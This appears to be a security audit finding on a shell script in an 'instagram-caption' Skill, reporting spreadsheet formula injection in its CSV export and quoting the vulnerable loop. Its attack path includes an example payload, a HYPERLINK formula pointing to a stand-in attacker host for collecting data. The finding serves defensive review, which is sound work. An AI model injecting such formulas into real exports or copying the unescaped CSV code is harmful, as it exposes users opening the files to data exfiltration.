T09 · Insecure Skill Coding Practices
- Location
scripts/script.sh:74- Finding
Spreadsheet Formula Injection in CSV Exports
- Content
View full analysis
"$out" for f in "$DATA_DIR"/*.log; do [ -f "$f" ] || continue local name=$(basename "$f" .log) while IFS='|' read -r ts val; do echo "$name,$ts,$val" >> "$out" done < "$f" done ;; ``` ### Technical Analysis The `val` field originates from content supplied to commands such as `draft`, `edit`, `hashtags`, and `schedule`. It is inserted directly into a CSV row without field quoting, escaping, or formula neutralization. Spreadsheet applications can treat cells beginning with characters such as `=`, `+`, `-`, or `@` as formulas. Consequently, a malicious value saved by the Skill may become an executable spreadsheet expression when a user opens the generated `export.csv`. The absence of CSV escaping also allows commas, quotation marks, carriage returns, and line feeds to alter the intended row and column structure. An attacker can therefore place a formula in a new or existing cell even if the original value does not naturally occupy the desired position. ### Attack Path 1. An attacker convinces a user to save attacker-controlled content, for example: ```bash instagram-caption draft '=HYPERLINK("https://attacker.example/collect","Open report")' ``` 2. The value is stored in `draft.log`. 3. The user runs: ```bash instagram-caption export csv ``` 4. The script copies the value directly into `export.csv`. 5. The user opens the export in spreadsheet software. 6. Depending on the spreadsheet application and its security configuration, the formula may be evaluated or presented as an active link. More dangerous formulas may initiate external requests or invoke application-specific functionality. ### Impact Assessment The script itse ...[truncated 684 chars]- Remediation
View remediation
